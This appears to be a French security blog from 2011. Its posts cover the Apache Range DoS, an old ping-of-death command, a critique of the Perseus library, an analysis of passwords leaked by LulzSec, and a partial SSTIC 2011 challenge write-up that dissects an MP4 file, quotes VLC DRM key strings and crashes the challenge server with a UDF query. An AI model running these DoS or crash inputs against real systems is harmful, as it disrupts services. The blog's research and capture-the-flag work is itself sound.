Ceci dit, je suis surpris qu'on ne parle pas de IIS ou nginx, alors que ceux-ci savent utiliser Range et la compression. Peut-être un autre CVE, je n'ai pas de IIS ou nginx pour tester. Quelqu'un? :-)

~~EDIT: Le correctif apache, http://www.apache.org/dist/httpd/Announcement2.2.html~~ Edit (bis): il ne s'agit pas du correctif attendu, merci à "Anonyme" de l'avoir signalé. Edit (ter): le lien est correct, la mise à jour est annoncée, c'est bien le 2.2.20 qui corrige ce CVE.
EDIT secondaire: testé rapidement sur un lighttpd et un nginx, conf par défaut après un apt-get debian. Les deux semblent non vulnérables, j'ai plus de CPU consommé par le script killapache.pl que par le webserver :-)

Old school ping of death still alive?

2011-08-11T14:53:00.000+02:00

Le dernier patch tuesday de microsoft a été bien fourni (19 références). L'une d'elle (CVE-2011-1871) a ravivé quelques souvenirs en me rappelant la fameuse ligne de commande suivante:
C:\> ping -l 65510 A.B.C.D
Pour mémoire, il s'agit du ping of death qui a du faire enrager plus d'un internaute \o/ C'était l'époque des chans IRC, du Smurf et des DDOS sur ligne modem 28800 :-)

Le CVE-2011-1871 indique en effet qu'il est possible de crasher une machine windows à l'aide de messages ICMP. Microsoft ajoute: "aucun facteur atténuant pour cette vulnérabilité" (aller en milieu de page et dérouler le CVE-2011-1871). Ce qui ressemble très fortement au ping of death: de manière distante et avec de l'ICMP il est possible de faire tomber une machine.
Aucun détail technique n'est connu, il est seulement fait mention d'une succession de messages ICMP (et non pas un unique paquet). Peu de risques de voir ces paquets sur internet, la menace a été remontée de manière "responsable" selon les termes de microsoft, c'est à dire qu'il faut comprendre que la faille n'a pas été publiée publiquement quelque part sur internet. Néanmoins et même si aucune vulnérabilité n'est connue, il est conseillé de mettre à jour (comme toujours).

[ D'ailleurs, si quelqu'un a des détails techniques sur cette faille ou un PoC, mon e-mail est valide ]

Lib perseus: pas convaincu

2011-07-13T12:03:00.002+02:00

Etant présent aux RMLL, je suis allé écouter la conférence d'Eric Filiol, qui présentait son projet Perseus: Les enjeux d'une alternative au chiffrement.

Son idée de départ repose sur un postulat simple concernant la confidentialité des échanges sur internet. Nous savons qu'il est très simple (et très tentant pour les états) d'intercepter les données. La solution classique, le chiffrement, ne satisfait pas Eric Filiol, pour plusieurs raisons:

Le chiffrement se détecte trop facilement, et de fait pose un doute légitime sur l'émetteur du flux pour celui qui détecte le chiffrement.
Le chiffrement n'est donc pas TRANSEC. Transec impose une probabilité faible de détection.
Les états peuvent avoir une raison légitime de pouvoir lire les échanges réseaux, la cryptographie les en empêche. [Note: je ne suis pas forcément d'accord sur ce point :-) ]
L'absence de chiffrement, émettre en clair, n'est évidemment pas acceptable.

La solution d'Eric Filiol à ces problèmes est le développement de la lib Perseus. Cette bibliothèque est une bibliothèque de chiffrement sans en être une (!).
Cette bibliothèque permet donc:

De modifier les données afin qu'un filtre statique ne détecte pas des motifs comme des mots-clés.
De faire en sorte que le flux ressemble à un autre type de flux; ainsi une image jpeg "chiffrée" (camouflée?) par Perseus peut avoir une signature le faisant ressemble à un pdf ou du HTML, ceci afin de contourner les filtres automatiques. Bien entendu ceci est rendu possible en ajoutant du "bruit" maîtrisé dans le message.
D'être facilement cassable, qu'il suffise de quelques jours/semaines afin qu'une personne motivée (un état, donc) puisse décoder et lire les échanges. L'exemple pris est celui d'un journaliste qui poste ses messages depuis un pays dictatorial qui ne sera capable de lire ses messages qu'une fois le journaliste rentré chez lui.

Cette bibliothèque repose sur plusieurs fondamentaux mathématiques exposés dans sa conf, je ne reviendrais pas dessus. Perseus peut de plus être employé sur des périphériques hardwares, et plusieurs groupes industriels/gouvernementaux sont prêts à financer son développement. Je laisse le côté hardware qui n'est pas discriminant pour moi.

Ceci posé, je ne suis absolument pas convaincu par la lib Perseus pour plusieurs raisons.

La première concerne son essence même. C'est du chiffrement sans en être. D'un côté c'en est puisque le message est camouflé, mais d'un autre ce n'en est pas puisque les états ont 'librement' accès aux données. Statut pour le moins curieux. Statut pour moi ennuyeux, car promouvoir le fait que ce n'est pas du chiffrement démotivera sans doute des peer reviews à étudier le protocole. Un challenge (bancal) a été lancé, mais ce challenge ne prouvera pas la solidité du concept.
Enfin, la techno a un an, ce qui est très jeune. Pour exemple, une techno comme le SHA3 est étudiée depuis bien plus longtemps, et les concepteurs eux-mêmes déconseillent actuellement son usage.

La seconde concerne l'aspect TRANSEC. Je ne vois pas en quoi c'est un problème. Il est attendu et normal selon moi que des échanges chiffrés aient lieu entre différents points du réseau. Un filtre automatique se fera sans doute leurrer par perseus mais une personne surveillée sera détectée sans problème. Il est indiqué qu'il faut augmenter la taille des données pour pouvoir le camoufler en autre chose. Certes. Toutefois, libre à moi de chiffrer en AES, puis de le passer en base64. L'entropie ne sera plus celle de l'AES! Une seconde méthode, plus simple serait de choisir 256 sujet, 256 verbes et 256 compléments. Chaque triplet d'octet serait transformé en sujet-verbe-complément. Les filtres auto se feront leurrer. Je peux aussi faire un système balise ouvrante, mot, balise fermante pour faire ressembler mon AES à du HTML, etc etc.. Dire que TRANSEC est un prérequis peut s'accomplir facilement si on prend en compte le grossissement du fichier d'origine.

Enfin, la troisième concerne le projet. Dire qu'on utilise un système 'vaguement chiffrant' qui laisse par construction aux états le moyen de connaître le contenu ne m'inspire pas confiance.

Je vais donc continuer à utiliser de la crypto, ssh, SSL/TLS, GPG etc.. et ne pas installer Perseus car je n'y vois pas les avantages, ni comprend la finalité.

EDIT: quelques liens ajoutés et précisions.

RMLL 2011

2011-07-11T15:54:00.000+02:00

Merci à l'organisation.

Deux ans de blogs et quelques stats

2011-07-01T16:00:00.000+02:00

Deux ans déjà que ce blog à ouvert ses portes. Le premier message était engageant :-) Quelques statistiques depuis ce premier message...

En deux ans, j'ai publié 56 messages, pour une moyenne aux alentours de 2 messages par mois, ce qui est le but que je m'étais fixé à l'origine. Vous êtes entre 30 et 80 à me rendre visite chaque jour, je vous en remercie. Cela me fait arriver à environ 1200-1600 visiteurs par mois.

J'ai eu trois énormes pics de visites. Le premier, dû à un article de sid, suite à mon article sur la sécurité TCP/IP. Des visiteurs continuent de venir depuis ce lien. Les deux autres pics ont été très éphémères et dûs à twitter. Le premier tweet est de bluetouff pour mon article parlant du filtrage de google sur certaines requêtes. Les statistiques m'ont montré plus de 600 requêtes en moins d'une heure (cet homme est très suivi). Le troisième pic, lui aussi de 600 requêtes en une journée, est encore à accorder à twitter pour ma solution partielle du challenge SSTIC twittée par R00tBSD et retwittée une vingtaine de fois. Mais twitter est le règne de l'immédiat, il n'y a pas d'effet durable des liens twitter sur la consultation du blog.

La fréquentation ce blog provient généralement de requêtes google et de quelques blogs; les requêtes sont généralement bien dans le sujet de ce blog (sécurité, informatique). Je n'ai pas de visibilité sur le flux RSS par contre.

J'ai pu également voir qu'il y avait du SPAM dans les Referrer. Des URLs complètement farfelues (et publicitaires) en lien source. Peut-être que les spammeurs savent qu'ils touchent plus facilement des admins des sites webs? Enfin ceux qui sont suffisamment curieux pour se demander pourquoi leur site est linké par un site de vente de chaussures russe :-) . Il faudrait peut-être bloguer la dessus?

J'ai eu aussi une requête très particulière qui cherchait "certificat SSL EdF cassé". Je n'y ai pas prêté particulièrement garde sur le moment. Une semaine après, on apprenait que le parti pirate allemand "aurait" obtenu une clé d'un site d'Edf. Il est dommage que blogger ne donne pas assez d'informations, l'IP source de la personne qui a faite cette requête une semaine avant m'aurait intéressée :-)

J'ai reçu le lot de mails classiques (non, je ne pirate pas de compte facebook, même payé pour cela) et je compte bien continuer à bloguer encore cette année.

Merci à vous de me suivre sur ce blog \o/

Lulzsec et Anonymous sont dans un Lulzboat...

2011-06-17T17:11:00.000+02:00

Le groupe qui est à la mode en ce moment s'appelle Lulzsec. Ils ont un twitter, un site web, et ils font parler d'eux énormément. Ils ont un logo amusant et sont très fort pour faire du buzz autour de leurs activités.

Ils ont actuellement trois faits d'armes: ils tiennent à se démarquer d'Anonymous, ils piratent des sites et diffusent des listes de mot de passe. Les sites grands publics parlent d'eux (lemonde.fr par exemple), mais je vais plus m'intéresser à lulzsec sous l'angle de la sécurité informatique, je laisse le buzz et les lulz aux sites généralistes.

1/ Les piratages de sites.
Si on consulte la page release de Lulzsec, on constate que leurs piratages ne concernent que des sites webs. L'attaque se fait en deux temps: généralement une faille est découverte, puis une base de données est récupérée, lulzsec cherche la base contenant les couples login/pass ou adresse mail/pass puis les diffuses. Lulzsec essaie et communique beaucoup sur le fait qu'un très grand nombre d'utilisateurs réemploient systématiquement le même mot de passe sur tous leurs comptes. Lorsque des mots de passe de messagerie sont trouvés valides, alors lulzsec dumpe les mails de cet utilisateur, cf: " One of them, used his Infragard password for his personal gmail, and the gmail of the company he owns." etc, etc.. Il y a aussi le fichier de conf apache de Nintendo vraisemblablement dû à une LFI, comme pour bethesda: "From our LFI entry point, we acquired command execution via local file inclusion of enemy fleet Apache vessel. We then found that the HTTPD had SSH auth keys, which let our ship SSH into other servers.".
On arrive donc à la double conclusion double: lulzsec a quand même pas mal de lulzcanno^W talents pour détourner l'usage des serveurs et réaliser des SQL injection et ces sites webs sont tout de même mal tenus.

2/ Les bases de données adresses / pass
J'ai réalisé ma petite étude sur deux bases de données qui ont été dumpées. Celle de 62000 mots de passe et celle de pron.com.
Pour pron.com, on a 18 utilisateurs qui réutilisent leur adresse mail comme mot de passe:
$ awk '$1 == $3 {print $1}' pron.txt | wc -l
18
Et l'inévitable top ten, un peu surprenant pour une fois puisqu'il contient un grand nombre de mot de passe numériques:
     41 123123
     49 123
     52 1234567890
     62 password
     64 1234567
     71 12345678
     74 1234
    110 12345
    211 123456789
    669 123456

La base de données de 62000 mots de passe est un peu différent, toujours autant de 123456 et assimilé, mais avec password, romance, et mistery dans le top ten. Cette base de données est un peu plus surprenante. Attention, ce fichier doit être la concaténation de plusieurs bases, puisque le format est différent au cours du parcours du fichier. Il y a beaucoup d'analyses sur ces mots disponibles sur internet, je conseille ceux que ça intéresse de faire des recherches sur les autres blogs en parlant comme tux-planet par exemple.
Je pense qu'il est inutile aux petits malins de se précipiter pour aller voler du compte mail. La base a été releasé le 16 juin avec annonce sur twitter, ils ont 180000 followers, ce qui fait que même si un trentième de followers a testé une dizaine de comptes, alors ils ont tous été vérifiés..

3/ They did it for teh lulz, et puis?
Comme ils l'annoncent ils l'ont fait pour le lulz.
Pour les sites web, on hésite entre se joindre à lulzsec pour rigoler un bon coup ou être consterné. Leurs attaques sont dues vraisemblablement à de l'injection. Lorsque l'on regarde le top ten de l'OWASP, on trouve en première position l'injection... Comment se fait-il qu'en 2011 une société comme Sony puisse se faire attraper par des injections successives sur un grand nombre de leurs sites vitrines?
Certes Lulzsec est fort, mais le sont ils tant que ça? Mis à part les skills en injection web? (en com', c'est sûr, ils sont fort :) ) Ce que lulzsec a fait chez Sony, c'est à dire annoncer une succession d'attaques, on pourrait le faire ailleurs aussi, il n'y aurait au final pas grande gloire. Qui faut il donc réellement blâmer?
Cela me fait penser au débat "full disclosure ou pas". Lulzsec doit il dumper à tour de bras des bases de données et defacer des sites en faisant du buzz? ou au contraire faire des annonces responsible disclosure qui ne seront finalement jamais prises en compte? La prise de conscience est violente, il y a du dégât collatéral pour les utilisateurs qui se feront voler leur comptes (je crois peu aux chutes de cours de bourse qui seraient un drame). Vu de l'extérieur, ils sont amusants mais ils doivent faire grincer pas mal de dents :/

Solution partielle du challenge SSTIC 2011 -- Si loin, si proche.

2011-05-25T23:59:00.357+02:00

Le SSTIC propose tous les ans un challenge à résoudre. Celui de cette année était particulièrement intéressant. Commençons déjà par féliciter les gagnants, bravo à eux. Cette année, le challenge consistait à analyser une vidéo afin de trouver une adresse mail. Le challenge finit le 25 mai, je propose ma solution incomplète, blogger devrait le publier à 23h59 ce 25 mai.

0/ Slow start
Avant de démarrer, un petit brainstorming et des recherches. Qui dit vidéo dit immédiatement format de vidéo (conteneur/contenu), DRM, stéganographie et métadonnées. Une recherche google avec en mot clés les noms des auteurs et ces technologies (et VLC/ video etc..) ne montre pas de papiers antérieurs pouvant servir. Sous linux, la commande file indique que le fichier en question est une video type mp4 (ce qui semble confirmer le DRM):

ISO Media, MPEG v4 system, version 2

Une lecture via VLC de ce fichier ne donne pas la solution, un strings challenge | grep @sstic.org non plus :-)

1/ Etude préliminaire

Le programme pour étudier les mp4 sous linux est gpac, ou MP4Box. Vérifions les métadonnées et le contenu

$ MP4Box -info challenge

* Movie Info *

        Timescale 90000 - Duration 00:00:17.298

        Fragmented File no - 3 track(s)

        File Brand mp42 - version 0

         Created: GMT Sun Mar 20 18:10:09 2011

File has no MPEG4 IOD/OD

Track # 1 Info - TrackID 1 - TimeScale 90000 - Duration 00:00:17.298

Media Info: Language "Undetermined" - Type "vide:mp4v" - 518 samples

MPEG-4 Config: Visual Stream - ObjectTypeIndication 0x20

MPEG-4 Visual Size 640 x 480 - Simple Profile @ Level 1

Pixel Aspect Ratio 1:1 - Indicated track size 640 x 480

Self-synchronized

Track # 2 Info - TrackID 2 - TimeScale 44100 - Duration 00:00:17.182

Media Info: Language "Undetermined" - Type "soun:mp4a" - 740 samples

MPEG-4 Config: Audio Stream - ObjectTypeIndication 0x40

MPEG-4 Audio AAC LC - 2 Channel(s) - SampleRate 44100

Synchronized on stream 1

Track # 3 Info - TrackID 3 - TimeScale 90000 - Duration 00:00:06.995

Media Info: Language "Undetermined" - Type "data:elf " - 128 samples

Unknown media type

        Vendor code "...." - Version 0 - revision 0

on a donc un container avec trois pistes: une video, une audio et une ... elf! (format de fichier exécutable linux).

2/ Etude de la piste trois

L'extraction du elf se fait très bien:

$ MP4Box -raw 3 challenge
Extracting '' Track (type 'data') - Compressor
$ ls
challenge  challenge_track3.elf\

(curieusement, le nom du track3 à un espace à la fin (?))

Etude rapide du fichier à l'aide de la commande file:

challenge_track3.elf : ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped

Shared Object: Il s'agit donc d'une bibliothèque partagée, reste à en trouver l'usage.

L'outil strings permet de connaître quelques infos intéressantes:

/home/jb/vlc-1.1.7/src/.libs

%s/sstic2011/secret1.dat
%s/sstic2011/secret2.dat
(...) 

Le téléchargement, la compilation et l'installation de vlc-1.1.7 se déroule sans heurts. Après quelques recherches on se rend compte que la lib:

/usr/local/lib/vlc/plugins/demux/libmp4_plugin.so

ressemble grandement à la lib fournie par le challenge. On intervertit les deux libs, et on constate à l'aide d'un strace que:

$ mv challenge_track3.elf\  /usr/local/lib/vlc/plugins/demux/libmp4_plugin.so

$ strace -ff -o track cvlc --noaudio --novideo mp4.m4a
VLC media player 1.1.7 The Luggage (revision exported)

 (...)

$ grep secret track.121*
track.12118:open("/home/kevin/sstic2011/secret1.dat", O_RDONLY|O_LARGEFILE|O_CLOEXEC)                               = 4
track.12120:open("/home/kevin/sstic2011/secret1.dat", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 6

donc la lib tente d'ouvrir le fichier sstic2011/secret1.dat ce qui semble confirmer le bon emploi de la bibliothèque. Ceci dit, le secret2.dat n'apparait jamais dans le strace, cela doit dépendre du succès d'ouverture de secret1.dat.

En regardant un peu les différences entre les deux libs mp4 (l'officielle et celle du challenge) on découvre les fonctions suivantes:

encryption_keys

sstic_lame_derive_key

expected_plaintext

sstic_check_secret2
sstic_check_secret1

sstic_read_secret1
sstic_read_secret2

Le mot-clé sstic_lame_derive_key permettait de tomber sur une page de pastebin.com donnant le code source de cette fonction, mais apparemment, cette page a disparu de pastebin et du cache google (??).

Enfin, une lecture du code de VLC (le nom de certaines structures et commentaires sont priceless) et de différentes docs confirme bien que secret1 et secret2 sont effectivement des clés servant à déchiffrer les DRM. Ces secrets sont en dur dans le code de VLC, ayant été cassés (Quelques infos sur la mailing list VLC indique que dans le temps, VLC allait chercher ces secrets dans des fichiers dédiés):

/usr/src/vlc-1.1.7/modules/demux/mp4$ grep secret *

drms.c:                static const char p_secret[] = "tr1-th3n.y00_by3";

drms.c:                memcpy( p_drms->p_key, p_secret, 16 );

drms.c:    char p_secret1[] = "Tv!*";

drms.c:    static const char p_secret2[] = "____v8rhvsaAvOKM____FfUH%798=[;."

 (etc...)

on retrouve d 'ailleurs dans la lib SSTIC le tr1-th3n.y00_by3 et d'autres choses.

Nous nous retrouvons donc face à un problème de reverse de code et de crypto. Mais il est mention de deux fichiers, secret1 et secret2. Il semble évident que la résolution crypto donnera un des deux secrets. Il faut donc découvrir le second.

3/ If at first you don't succeed, try again

Il est temps de reprendre l'étude du fichier original après avoir bien travaillé la librairie.

un lecture hexa du fichier challenge dévoile une info intéressante en tout début de fichier:

Le mot "introduction.txt" n'est clairement présent par hasard :-)

Et en sautant le nombre d'octets appropriés, on tombe sur:

kevin@slackware:~$ dd if=challenge of=intro bs=1 count=64 skip=32
64+0 enregistrements lus
64+0 enregistrements écrits
64 octets (64 B) copiés, 0,00461791 s, 13,9 kB/s
kevin@slackware:~$ file intro 
intro: gzip compressed data, was "introduction.txt", from FAT filesystem (MS-DOS, OS/2, NT), last modified: Thu Mar 17 14:01:52 2011, max compression
kevin@slackware:~$

Ce qui est plutôt prometteur. Néanmoins, son dégzippage pose problème:

kevin@slackware:~$ dd if=challenge of=intro.gz bs=1 count=128000 skip=32
128000+0 enregistrements lus
128000+0 enregistrements écrits
128000 octets (128 kB) copiés, 7,50659 s, 17,1 kB/s
kevin@slackware:~$ gunzip intro.gz
gzip: intro.gz: invalid compressed data--format violated
kevin@slackware:~$

Son extraction n'est pas immédiate et il devient nécessaire de se plonger dans de la doc sur le format de fichier mp4.

Un fichier mp4 est constitué d'atomes, suivant une structure simple:

4 octets indiquant une taille suivis de 4 octets ASCII donnant le nom de l'atom, suivi des données. Par exemple, pour le fichier challenge:

00 00 00 18 66 74 79 70  6d 70 34 32 00 00 00 00

6d 70 34 32 69 73 6f 6d  00 3f a1 9a 6d 64 61 74

taille: 18Hex donc 24 octets. type "ftyp". Données: mp42 00 00 00 00 mp42isom. Ce qui permet d'ailleurs à la commande file de reconnaitre le fichier.

L'atom suivant démarre à l'octet 24, fait une taille de 4170138 est du mdat, etc, etc..

On obtient donc une structure:

Atom ftyp @ 0 of size: 24, ends @ 24
Atom mdat @ 24 of size: 4170138, ends @ 4170162
Atom mdat @ 4170162 of size: 277450, ends @ 4447612
Atom mdat @ 4447612 of size: 178748, ends @ 4626360
Atom moov @ 4626360 of size: 12507, ends @ 4638867
   Atom mvhd @ 4626368 of size: 108, ends @ 4626476
   Atom trak @ 4626476 of size: 5982, ends @ 4632458
     Atom tkhd @ 4626484 of size: 92, ends @ 4626576
     Atom ssti @ 4626576 of size: 12, ends @ 4626588
     Atom mdia @ 4626588 of size: 5822, ends @ 4632410
       Atom mdhd @ 4626596 of size: 32, ends @ 4626628
       Atom hdlr @ 4626628 of size: 33, ends @ 4626661
       Atom minf @ 4626661 of size: 5749, ends @ 4632410
         Atom vmhd @ 4626669 of size: 20, ends @ 4626689
         Atom dinf @ 4626689 of size: 36, ends @ 4626725
           Atom dref @ 4626697 of size: 28, ends @ 4626725
         Atom stbl @ 4626725 of size: 5685, ends @ 4632410
           Atom stsd @ 4626733 of size: 181, ends @ 4626914
             Atom mp4v @ 4626749 of size: 165, ends @ 4626914
               Atom esds @ 4626835 of size: 79, ends @ 4626914
                 Atom stts @ 4626914 of size: 3248, ends @ 4630162
           Atom stsz @ 4630162 of size: 2092, ends @ 4632254
           Atom stsc @ 4632254 of size: 40, ends @ 4632294
           Atom stco @ 4632294 of size: 88, ends @ 4632382
           Atom stss @ 4632382 of size: 28, ends @ 4632410
     Atom edts @ 4632410 of size: 48, ends @ 4632458
       Atom elst @ 4632418 of size: 40, ends @ 4632458
   Atom trak @ 4632458 of size: 3492, ends @ 4635950
     Atom tkhd @ 4632466 of size: 92, ends @ 4632558
     Atom mdia @ 4632558 of size: 3372, ends @ 4635930
        Atom mdhd @ 4632566 of size: 32, ends @ 4632598
        Atom hdlr @ 4632598 of size: 33, ends @ 4632631
        Atom minf @ 4632631 of size: 3299, ends @ 4635930
          Atom smhd @ 4632639 of size: 16, ends @ 4632655
          Atom dinf @ 4632655 of size: 36, ends @ 4632691
            Atom dref @ 4632663 of size: 28, ends @ 4632691
          Atom stbl @ 4632691 of size: 3239, ends @ 4635930
             Atom stsd @ 4632699 of size: 103, ends @ 4632802
               Atom mp4a @ 4632715 of size: 87, ends @ 4632802
               Atom esds @ 4632751 of size: 51, ends @ 4632802
             Atom stts @ 4632802 of size: 24, ends @ 4632826
             Atom stsz @ 4632826 of size: 2980, ends @ 4635806
             Atom stsc @ 4635806 of size: 40, ends @ 4635846
             Atom stco @ 4635846 of size: 84, ends @ 4635930
     Atom udta @ 4635930 of size: 20, ends @ 4635950
       Atom name @ 4635938 of size: 12, ends @ 4635950
    Atom trak @ 4635950 of size: 2917, ends @ 4638867
     Atom tkhd @ 4635958 of size: 92, ends @ 4636050
     Atom mdia @ 4636050 of size: 2817, ends @ 4638867
       Atom mdhd @ 4636058 of size: 32, ends @ 4636090
       Atom hdlr @ 4636090 of size: 45, ends @ 4636135
       Atom minf @ 4636135 of size: 2732, ends @ 4638867
         Atom nmhd @ 4636143 of size: 12, ends @ 4636155
          Atom dinf @ 4636155 of size: 36, ends @ 4636191
           Atom dref @ 4636163 of size: 28, ends @ 4636191
         Atom stbl @ 4636191 of size: 2676, ends @ 4638867
           Atom stsd @ 4636199 of size: 32, ends @ 4636231
             Atom elf  @ 4636215 of size: 16, ends @ 4636231
               Atom stts @ 4636231 of size: 24, ends @ 4636255
           Atom stsc @ 4636255 of size: 1552, ends @ 4637807
           Atom stsz @ 4637807 of size: 532, ends @ 4638339
           Atom stco @ 4638339 of size: 528, ends @ 4638867

A propos: deux atomes ne font pas partie de la norme, le premier appelé "ssti" et le second nommé "elf ". On retrouve l'espace qui suit l'extension pour le .elf et le nom ssti pour un atome ressemble trop à SSTIC pour n'être qu'une coïncidence :-) [Néanmoins, la valeur de l'atom ssti vaut 00 00 00 00 ce qui n'avance à pas grand chose... secret1.dat fait lui aussi 4 octets dans le code source de VLC, mais quatre octets à 0 hexa n'est apparemment pas une bonne valeur pour secret1.dat.]

L'extraction de la piste 1(video) indique qu'elle est plus petite que le premier atom mdat. Nous avons donc dans le premier atom mdat (media data) la piste video, et des octets "en plus". Ce qui signifie que de manière dispersée dans dans la partie mdat du fichier mp4, il y a des octets superfétatoires. J'ai donc écrit un outil me permettant d'en extraire le diff, et sans surprise le diff est un fichier gz:

kevin@slackware:~$ file zip.gz
zip.gz: gzip compressed data, was "introduction.txt", from FAT filesystem (MS-DOS, OS/2, NT), last modified: Thu Mar 17 14:01:52 2011, max compression
kevin@slackware:~$ zcat zip.gz
Cher participant,

Le dÃ©veloppeur Ã©tourdi d'un nouveau systÃšme de gestion de base de donnÃ©es
rÃ©volutionnaire a malencontreusement oubliÃ© quelques fichiers sur son serveur
web. Une partie des sources et des objets de ce SGBD pourraient se rÃ©vÃ©ler
utile afin d'exploiter une Ã©ventuelle vulnÃ©rabilitÃ©.

Sauras-tu en tirer profit pour lire la clÃ© prÃ©sente dans le fichier
secret1.dat ?

url      : http://snip-snip-snip-snip   -- jetons un voile pudique
login    : sstic2011                   -- sur une partie de ces
password : snip-snip-snip-snip      -- informations :-)

--------------------------------------------------------------------------------
Toute attaque par dÃ©ni de service est formellement interdite. Les organisateurs
du challenge se rÃ©servent le droit de bannir l'adresse IP de toute machine
effectuant un dÃ©ni de service sur le serveur.
--------------------------------------------------------------------------------

gzip: zip.gz: unexpected end of file
kevin@slackware:~$

On avance donc dans le challenge. introduction.txt permettra de connaître secret1.dat, et la crypto étudiée auparavant donnera vraisemblablement secret2.dat.

(Un mot pour wezak qui se reconnaîtra sans doute. Les fichiers ont été indexés par google sur votre site web alors qu'aucun lien pointant vers eux n'est référencé. Ce qui signifie que soit les liens ont été envoyés via gmail, soit chrome a été utilisé pour les consulter. Dans les deux cas, google FAIL)

4/ Attaque en ligne
Nous sommes partis d'un fichier video, nous nous retrouvons à attaquer du service en ligne :-) Ce challenge comporte bien des rebondissements! Lançons un navigateur web:

L'image lobster_dog n'a, semble t'il, rien d'exceptionnel, bien que je ne retrouve pas précisément la même sur internet (pas de metadata particulier dans cette image, pas de données utiles apparemment).

Une observation de la page web montre un message d'erreur en bas de page. Et l'erreur #2002 avec une référence à mySQL plus le contenu d'introduction.txt pousse à lancer un client mysql:
kevin@slackware:~$ mysql -u sstic2011 -h snip-snip-snip-snip -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 1

Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL v2 license

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> \q
Bye
kevin@slackware:~$

Cette base de donnée ne semble pas être un mySQL "authentique" (pas de version, un select 3+2 ne fonctionne pas, les commandes basiques ne fonctionnent pas, etc etc..). Ceci dit, rien n'empêche de creuser un peu:
kevin@slackware:~$ mysql -u sstic2011 -h snip-snip-snip-snip -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1
Server version: 1

Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL v2 license

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+----------+
| Database |
+----------+
|   system |
|    sstic |
+----------+
2 rows in set (0.05 sec)

mysql> use system;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------+
| Tables      |
+-------------+
| information |
+-------------+
1 row in set (0.05 sec)

mysql> select * from information;
+------------------+----------+
| version          | security |
+------------------+----------+
| 1.3.337sstic2011 | SECCOMP |
+------------------+----------+
1 row in set (0.05 sec)

mysql> use sstic;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+--------+
| Tables |
+--------+
| users |
+--------+
1 row in set (0.05 sec)

mysql> select * from users;
+------+--------+----------------------------------+
| id   | login | password                         |
+------+--------+----------------------------------+
| 0    | root   | 3e47b75000b0924b6c9ba5759a7cf15d |
| 1    | guest | a76637b62ea99acda12f5859313f539a |
| 2    | nobody | 6c92285fa6d3e827b198d120ea3ac674 |
| 3    | *      | 5058f1af8388633f609cadb75a75dc9d |
+------+--------+----------------------------------+
4 rows in set (0.05 sec)

mysql> quit;
Bye
kevin@slackware:~$
Nous apprenons donc que seccomp est employé (1.3.337 en version est il une erreur? En l33Tsp34K, ce serait plutôt 3.1.337). Le cassage MD5 des password est immédiat et donne:
"nothing" "interesting" "here" "."
:-) Faisons confiance aux auteurs du challenge. Je pense qu'il n'y a pas de SQL skills particulières à avoir pour ce challenge.

5/ Reverse!
Il est donc désormais temps de lire les deux fichiers udf fournis sur le site web. udf semble signifier selon moi "User Defined Function" ce que confirme le fichier udf.c:

kevin@slackware:~$ head udf.c 
/*
 * CREATE FUNCTION max INTEGER, INTEGER RETURNS INTEGER SONAME "udf_max@udf.so";
 * CREATE FUNCTION min INTEGER, INTEGER RETURNS INTEGER SONAME "udf_min@udf.so";
 * CREATE FUNCTION abs INTEGER RETURNS INTEGER SONAME "udf_abs@udf.so";
 * CREATE FUNCTION concat STRING, STRING RETURNS STRING SONAME "udf_concat@udf.so";
 * CREATE FUNCTION substr STRING, INTEGER, INTEGER RETURNS STRING SONAME "udf_substr@udf.so";
 */

#define _BSD_SOURCE
#include 
kevin@slackware:~$

Le code fait appel à une structure nommée val, que l'on retrouver dans chacune des fonctions, par exemple:
void udf_max(int a, int b, val *result) {
        result->value.i = (a > b) ? a : b;
}
et la lecture du code .c associé à un peu de désassemblage du .so permet de la reconstituer de cette manière:

typedef struct val {
int unknown;      /*tout se passe à +4, unknown semble inutilisé (?)*/
union {    /*i et p sont tous les deux à +4*/
int i;
char *p;
} value;
size_t size;
int (*expand)(struct val *);

Il faut désormais trouver un moyen d'exploiter la BdD on line. Je parviens déjà à la faire crasher:

mysql> select concat(3,'b');
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql>

mais n'arrive pas au delà. SECCOMP complique l'exploitation, les seuls appels systèmes acceptés sont exit(), sigreturn(), read() et write() aux file descriptors déjà ouverts.

Pour exploiter tout ça, on a quelques pistes: le code C utilise plusieurs fois des memcpy() qui est une fonction dangereuse, le code de retour de realloc() n'est pas vérifié, et la structure val fait un appel à la fonction expand via un pointeur (mais est il modifiable?). Enfin, le problème n'est peut-être pas lié à cette bibliothèque .so, mais au serveur SQL lui-même (après tout, l'auteur du nouveau système de gestion de base de données révolutionnaire est étourdi :-) ).
Un nmap sur l'adresse IP n'affiche que deux ports ouverts, le 80 et le 3306.

6/ This is the end, my friend
Je ne suis pas allé plus loin, bloqué par le reverse crypto et l'attaque du service en ligne. Je vais donc attendre la publication des résultats pour voir où j'ai pêché, si je suis passé à côté d'autres indices, et si j'avais raison dans la progression du challenge. J'aurai loisir de renommer ce post de blog en "plus ou moins proche de la solution". Je suis curieux de savoir si les organisateurs du concours vont donner les logs du serveur pour connaître le nombre de connexions, les tentatives réalisées, et s'ils publieront le code de celui-ci pour que l'on s'entraîne hors ligne.

Pour résumer:
-le service en ligne permet de connaître secret1.dat
-Il y a de grandes chances que la fonction publiée sur pastebin permette de reverser plus facilement la lib et donc de trouver secret2.dat, dommage qu'elle ne soit plus disponible.
-Avec secret1.dat et secret2.dat je pense que la video se lira correctement et dévoilera l'adresse mail tant recherchée :-) A moins qu'il ne s'agisse que d'une première étape et que la video indique seulement ou continuer la quête pour aller encore un peu plus loin.

